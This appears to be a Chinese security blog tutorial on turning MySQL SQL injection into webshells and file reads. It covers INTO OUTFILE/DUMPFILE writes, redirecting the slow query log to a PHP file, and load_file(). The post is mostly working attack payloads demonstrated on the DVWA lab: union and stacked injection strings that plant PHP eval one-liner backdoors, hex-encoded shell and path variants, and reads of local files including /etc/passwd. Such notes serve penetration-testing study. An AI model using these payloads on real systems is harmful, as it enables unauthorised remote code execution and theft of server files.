zoukankan      html  css  js  c++  java
  • sqli-Mysql写shell/读文件

    1 导出函数写shell

    利用Mysql的导出函数直接写一个可访问的webshell

    1.1 条件

    1. 网站可访问路径的绝对路径
    • 报错
      输入异常值让脚本主动报错,或googlehacking目标的脚本报错信息

    • phpinfo
      扫目录找phpinfo

    • 推测
      目标可能使用集成安装包,如phpstudyC:phpStudyWWW C:phpStudyWWW域名

    • 枚举
      高频绝对路径

    1. secure_file_priv 的值非NULL或包含了导出的绝对路径
      secure_file_priv的值在mysql配置文件my.ini中设置,这个参数用来限制数据导入导出
      Mysql>=5.5.53 默认为NULL,即默认禁止导入导出
      Mysql<5.5.53 默认为空,即默认无限制
    • secure_file_priv值为NULL = 禁止导入导出

    • secure_file_priv值无具体值/为空 = 无限制

    • secure_file_priv值为某目录 = 仅允许在该目录下导入导出

    • 查看secure_file_priv值的方法
      show global variables like '%secure%';

    1. mysql服务有对网站可访问路径的写权限
    2. mysql连接用户有FILE权限/ROOT用户或ROOT权限

      select file_priv from mysql.user;
    3. GPC关闭//未对闭合用的引号转义
      outfile 和 dumpfile的路径不支持hex,必须有引号包裹

    1.2 导出函数:outfile 和 dumpfile

    • outfile
      select '<?php phpinfo(); ?>' into outfile "C:\phpStudy\MySQL\bin\1.php";
      select * from student into outfile 'C:/phpStudy/MySQL/bin/test.php';
      需要注意的点:
    1. outfile 可导出多行,并会在每⾏的结束加上换⾏符
      如果test表中的内容有多行

      导出效果

    2. outfile 将数据写到文件里时有特殊的格式转换
      a aa aaaa写入时 被转义,并且文件末尾加了一个新行

      导致写shell时要注意特殊字符

    3. outfile 的路径不能是0x开头或者char转换以后的路径,只能是引号包裹的路径
      导致写shell时无法通过hex编码或char()来bypass引号转义等

    4. 文件不能覆盖写入,所以写入文件必须为不存在

    • dumpfile
      select '<?php phpinfo(); ?>' into dumpfile "C:\phpStudy\MySQL\bin\1.php";
      select * from student into outfile 'C:/phpStudy/MySQL/bin/test.php';
      需要注意的点:
    1. dumpfile 只能导出一行

    2. dumpfile 在写⽂件时会保持⽂件的原⽣内容/原数据格式,适合写二进制文件,如exe文件,udf提权的dll文件

    3. dumpfile 的路径不能是0x开头或者char转换以后的路径

    4. 文件不能覆盖写入,所以写入文件必须为不存在

    • 补充:利用导出函数的补充参数写shell

    select * from student into outfile "C:/phpStudy/MySQL/bin/test.php" LINES STARTING BY '<?php @eval($_POST[pass]);?>';

    FIELDS TERMINATED BY ','    = 字段值之间以,分割
    OPTIONALLY ENCLOSED BY ' " '    = 字段值以"包裹
    LINES TERMINATED BY '
    '    = 设置每⾏数据结尾的字符为换行符
    

    某些情况,如select只有一个数字型字段,联合查询无法写shell或注入点在limit等不能union的语句之后

    1.3 写shell演示

    dvwa-low-sqli

    1. 一句话 outfile 直接写
    • 直接写
      -1' union select 1,"<?php @eval($_POST['c']);?>" into outfile "C:/phpStudy/WWW/shell.php"#
    • shell HEX编码
      id=-1' union select 1,0x3C3F70687020406576616C28245F504F53545B2763275D293B3F3E into outfile "C:/phpStudy/WWW/shell.php"#
      写入成功,连接测试成功

    1. 一句话 写入数据库 再 outfile
      因为dvwa-low-sqli使用的是 mysqli_query() ,一次执行一条sql语句,无法堆叠,修改成 mysqli_multi_query 演示
      id=-1';insert into dvwa.guestbook values (2,"<?php @eval($_POST['c']);?>","shell") ;#

      id=-1' union select comment,name from dvwa.guestbook into outfile 'C:/phpStudy/WWW/shell.php';#
      写入成功,连接测试成功

    2 日志写shell

    将日志改为脚本文件,将shell记录进日志来写shell

    2.1 条件

    与导出函数写Shell相比,规避了 secure_file_priv 的限制

    1. 网站可访问路径的绝对路径
    2. mysql服务有对网站可访问路径的写权限
    3. mysql连接用户有权限开启日志记录和更换日志路径
    4. GPC关闭/未对闭合用的引号转义
      虽然日志路径可以hex编码,但被记入日志的查询语句中的shell内容需要引号包裹,加后传到数据库执行会报错,无法记录进日志

    2.2 mysql日志

    mysql日志主要包含:错误日志、查询日志、慢查询日志、事务日志、二进制日志
    mysql日志详解:https://blog.csdn.net/maguang_it/article/details/79922339
    只有查询日志和慢查询日志可利用,演示用的是慢查询日志,所以这里主要讲下慢查询日志

    • 慢查询日志
      慢查询日志是用来记录执行时间超过指定时间的查询语句。
      查看日志情况:SHOW GLOBAL VARIABLES LIKE '%log%';

      slow_query_log :表示慢查询日志是否开启,ON表示开启,OFF表示未开启,默认OFF
      slow_query_log_file :表示慢查询日志文件的路径
      查看超过多少时间会被记录慢查询日志(默认10s):SHOW GLOBAL VARIABLES LIKE 'long%';

      其中,日志文件可以改路径也可以改文件后缀,这意味着可以将其改成网站目录下的php脚本文件,再通过慢查询将shell写入,最后成为webshell
      开启慢查询日志:set global slow_query_log = 1;
      更改日志路径:set global slow_query_log_file='C:/phpStudy/WWW/logshell.php';

      完成时间大于10s的sql语句会被记录进慢查询日志,如:select * from users where sleep(11);

    补充:日志路径可以hex编码set global slow_query_log_file=0x433A2F70687053747564792F5757572F6C6F677368656C6C2E706870;

    • 其他日志
      错误日志变量log_error只读,只能通过修改mysql配置文件改路径,不能利用
      事务日志、二进制日志和错误日志一样,只能通过修改mysql配置文件改路径,不能利用

    2.3 演示

    dvwa-low-sqli,修改mysqli_query() 为 mysqli_multi_query 演示

    1. 开启日志并修改日志为网站路径下的脚本
      -1';set global slow_query_log = 1;set global slow_query_log_file='C:/phpStudy/WWW/logshell.php';#
    2. 执行包含Shell的查询语句并使用sleep(11)让语句记录进慢查询日志脚本
      -1';select "<?php eval($_POST[log]);?>" from users where sleep(11);#
    3. 连接成功

    3 读文件函数读文件

    3.1 条件

    1. 所读文件的绝对路径
    2. secure_file_priv 的值非NULL或包含了所读文件的绝对路径
    3. mysql服务有对所读文件的读权限
    4. mysql连接用户有FILE权限/ROOT用户或ROOT权限

    3.2 读文件函数:load_file()

    load_file()

    select load_file('绝对路径');
    与outfile/dumpfile不同的是,load_file的路径可被hex编码

    select load_file(0x2F6574632F706173737764);

    3.3 演示

    dvwa-low-sqli
    load_file()

    -1'union select 1,load_file('C:/phpStudy/WWW/readme.txt');#

    -1'union select 1,load_file(0x433A2F70687053747564792F5757572F726561646D652E747874);#

    4 参考

    https://www.cnblogs.com/zztac/p/11371149.html

  • 相关阅读:
    多测师讲解html _伪类选择器17_高级讲师肖sir
    多测师讲解html _后代选择器16_高级讲师肖sir
    多测师讲解html _组合选择器_高级讲师肖sir
    多测师讲解html _标签选择器14_高级讲师肖sir
    前端 HTML form表单标签 input标签 type属性 重置按钮 reset
    前端 HTML form表单标签 textarea标签 多行文本
    前端 HTML form表单标签 input标签 type属性 file 上传文件
    前端 HTML form表单标签 input标签 type属性 radio 单选框
    前端 HTML form表单标签 input标签 type属性 checkbox 多选框
    前端 HTML form表单目录
  • 原文地址:https://www.cnblogs.com/Rain99-/p/13340448.html
Copyright © 2011-2022 走看看